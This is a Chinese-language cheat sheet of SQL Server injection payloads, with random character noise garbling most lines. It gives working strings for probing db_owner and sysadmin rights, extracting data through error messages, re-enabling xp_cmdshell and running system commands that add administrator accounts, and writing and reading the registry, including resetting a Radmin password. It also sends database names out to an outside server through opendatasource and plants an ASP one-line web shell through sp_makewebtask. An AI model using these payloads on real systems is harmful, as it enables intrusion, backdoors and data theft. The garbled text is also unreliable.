//看看是什么权限的
* c, }" K" x+ S- Dand 1=(Select IS_MEMBER('db_owner'))1 N2 V% o7 t$ r, s! W* R9 ]" G. [3 a
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--, w( S" ?. A2 q
/ z( W9 Y; n6 e//检测是否有读取某数据库的权限& B7 [0 N/ O; ^; @
and 1= (Select HAS_DBACCESS('master'))
9 [( ?6 H9 Z1 d: o9 u0 kAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
4 W6 g8 w% o! k% R! \1 P$ O( g. e
1 F. Q m2 s" F1 ?1 v) p( `0 r6 ?. t$ ^# d
数字类型
8 \: Y) u. V. ~$ S5 H0 sand char(124)%2Buser%2Bchar(124)=0# t* p0 W1 N/ o! ^
' X: Z! P/ q7 A
字符类型
; O- }6 ^: c1 M G) t' and char(124)%2Buser%2Bchar(124)=0 and ''='
4 G/ }1 |9 W+ ?0 Z" C4 h1 }# V0 v3 C3 d. o2 O
搜索类型7 H( a- h( m( y, A$ ~
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
8 L \: j; [: e. W: G
/ B$ {0 B. ^! B. V j# q6 }8 ~爆用户名: o% G& V% V2 ?- _$ |
and user>0
* A! ^- E8 u. k0 @+ {% s$ E' and user>0 and ''=' a$ n6 W* T& \. r
6 X, a$ r" D+ F$ |5 c+ B; b4 k检测是否为SA权限
) E* Q4 o& ?- L, k( zand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
2 t2 g a) H1 J$ b1 m& r/ o. r& `& [& oAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --* J1 o' S: k' q: a* h
7 S0 r8 i. _: M- ?; e检测是不是MSSQL数据库
# g, u' z: E% \% r" u! o( [and exists (select * from sysobjects);--; R/ b& @8 U$ W! ~0 E
6 X$ b& b0 T+ j* [% E8 _检测是否支持多行6 ?4 ?% r7 A! m& e* v3 W
;declare @d int;--+ Y; Z' d' Z0 s/ @
: T4 ]7 Q+ o/ v) ?7 q0 @1 b- T
恢复 xp_cmdshell, T$ U% a/ Z5 t2 Q+ i, u, k
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--3 t, i" Z1 c \' I
5 I- u* ^ A e% O0 c
6 p: z. @% y; ^
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
\1 `8 x! C; U2 e/ k1 ^' ]) X( B2 y5 k3 E% G% L7 F
//-----------------------
% u7 x1 H5 u% i9 l& M' x// 执行命令
5 }, {9 q- j9 d" h9 @+ [//-----------------------
. ]) Y2 F% u# Y6 M% r首先开启沙盘模式:, ?; k/ F# ?! h9 _/ ?
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1( g1 G/ ?: e: ^* |% L% c$ R
8 y- L2 e0 s! a' p然后利用jet.oledb执行系统命令( u# G0 K; a' S1 M7 h
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
: Q8 D- C+ O0 F
9 M4 K% v: y, {0 g: e$ i% N执行命令 ^0 ~+ b( z9 S) }/ D, D! ^# m( D
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
* l2 V0 N3 ~$ [
9 D5 j9 X6 ?# L% N4 p' SEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
* \! i# Q4 B: b
7 z4 ?: A1 S' P$ W7 c- ^$ V0 ]1 k9 z$ D判断xp_cmdshell扩展存储过程是否存在: O' g( [# G+ T9 i( k1 a! M
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
, M% ?8 ?4 j6 l
& M' @* d5 S; P4 U7 K: p写注册表
$ N% m0 a2 Y. B1 Y6 kexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
9 K% r$ E! L) Q; L5 ?& Q1 i" r! t$ ?
REG_SZ4 g6 j. c! [/ p! | ?2 n
; R: T1 Q/ G0 V# ^读注册表
( r2 M* O/ O; e' m& {: uexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
/ T5 S9 {3 c: Z) n9 e. u" H
% v/ w e. `4 t5 a读取目录内容
4 J u2 Q/ w% Y0 }8 ]' Yexec master..xp_dirtree 'c:\winnt\system32\',1,1
9 w) m B# L; a+ G+ Q) ]
4 O/ u* x" }6 |) u% y( g
: r0 x. \4 d; A+ b2 t数据库备份4 P# x1 E3 I: n" P6 x: U1 z* E: z4 |
backup database pubs to disk = 'c:\123.bak'7 Q8 h( n& P$ P1 c' D; B/ h1 h
4 b( \, S @) A0 Z//爆出长度
. w* H& F" }/ e7 ?And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
, t8 v7 k( g) S Q; D7 A3 ]! _6 l+ s2 D2 W4 ~" M
* a7 Q* `# L; ~( s: B! @
! M. N8 N0 F; T( z* M9 h更改sa口令方法:用sql综合利用工具连接后,执行命令:0 o- b9 ?0 ?# |# ~
exec sp_password NULL,'新密码','sa', e9 X3 _; @; u, h- y% Y
+ z# t% J( E& F- N
添加和删除一个SA权限的用户test:
5 j0 V7 c" e3 Rexec master.dbo.sp_addlogin test,9530772
) Q% ?1 w" [% L* k- Z3 ~# mexec master.dbo.sp_addsrvrolemember test,sysadmin
3 U" Q- y7 Z1 h
S2 R7 g! @3 m# x6 N. E1 H1 Z4 \删除扩展存储过过程xp_cmdshell的语句:" y5 B9 g) {) A; t* O9 ^" ~5 ]( o
exec sp_dropextendedproc 'xp_cmdshell'
# {& J' n# P8 Q5 z v) x& Y: I, c0 v; w1 M" b3 `
添加扩展存储过过程
! @ @% m/ e3 J- W0 H |$ SEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
& C8 z0 c, Y6 K! Z: ` T/ L& yGRANT exec On xp_proxiedadata TO public
& G& m, a2 f3 `5 C4 k; g) F, Y, f
! X" L# f& B. `
! Q0 o; m$ Y6 X6 |停掉或激活某个服务。/ K1 {( ^+ C2 L7 t3 k
( @" I5 M1 H4 ^* Vexec master..xp_servicecontrol 'stop','schedule'
0 l: [5 Y( J3 f$ l9 h& A7 g6 Xexec master..xp_servicecontrol 'start','schedule'0 @2 K: p" A" T0 T/ q1 i0 k
3 ^. I p. t; g8 b4 I Ddbo.xp_subdirs$ s% ?* X8 m, B! a0 M7 a4 }( K
$ g R# M6 N8 q1 s8 a* T
只列某个目录下的子目录。
; E4 T" Q- z/ Uxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
4 T; n+ p9 I ^
. I y+ _' W5 m) Q! Gdbo.xp_makecab; h# A; P3 ?* {2 R. b% [1 |
% c% F6 Q, i6 Y c2 E
将目标多个档案压缩到某个目标档案之内。
* t$ b# s; Q1 u9 u9 ]! L所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。 b! b' _3 G) g6 W/ A4 Z. X* f, a, o
5 E0 @; k0 O% f2 }, P
dbo.xp_makecab A0 {$ o* }/ K! Z
'c:\test.cab','mszip',1,
y y4 g! U, L'C:\Inetpub\wwwroot\SQLInject\login.asp',
: F4 C8 d6 W V7 F6 } s, t2 U'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
0 x0 v y8 f. J9 z' o. X, x
& _0 W: g0 k- B9 u& ^1 Wxp_terminate_process
$ c/ d' {8 A: n0 n, j5 c, Y9 x5 I6 h6 n1 M
停掉某个执行中的程序,但赋予的参数是 Process ID。0 p, [2 f6 K! f M
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
" r5 E" j- N7 }# c2 e/ H
( N d: H. J4 @1 `xp_terminate_process 24843 {$ Z! i M( Z
3 {: n, q: d8 X5 B, yxp_unpackcab" f# t9 C( a0 }
+ T. k& v5 ~# H4 V( |) {( t' q
解开压缩档。
: p2 v- H& L( A5 Q2 T% i
# w6 h- K2 E, v) I& B0 M3 Cxp_unpackcab 'c:\test.cab','c:\temp',1* O8 b& { W5 }5 w* ?
" X/ S. z& V, l0 V! _# Z+ E4 q: r( p
/ J# a. s; ]" [0 |某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
5 x9 [* ~. K" H6 _, h# e9 ^/ b
3 h5 ^" ]8 W# G: xcreate database lcx;: j4 c) f; p$ x( B5 V
Create TABLE ku(name nvarchar(256) null);5 _; b/ u4 _. C/ s( C$ t
Create TABLE biao(id int NULL,name nvarchar(256) null);
Q: W/ W9 Q, S! n9 J& y9 n4 Y) r& a) c$ v; }
//得到数据库名* e3 `- J# J6 U* h8 p, y$ b. l' e. m
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases. m8 r' N4 M5 {( y! N3 Z
3 Q0 E4 x3 v1 g1 K, O. f
( l# _5 Y9 C+ ]* _3 e
//在Master中创建表,看看权限怎样
) r4 y6 D: }& D8 L, l6 S8 K& e) HCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
3 |+ b3 u: V; E5 q) Y2 Y
# O" f: |( E( T3 \用 sp_makewebtask直接在web目录里写入一句话马:
" M5 n G" k5 [9 k! h% F+ W5 hhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--( w& C' ?3 t( a E; f# O, I/ p
0 m! K7 ~; B7 b5 a2 J. z//更新表内容
5 v! N# D) z' LUpdate films SET kind = 'Dramatic' Where id = 123
' m2 E! y$ B9 J( G8 P) @4 H6 R! }" f$ |" K5 D" _. N& r& g
//删除内容8 e6 u- d4 ^" R' p4 `8 x
delete from table_name where Stockid = 3 |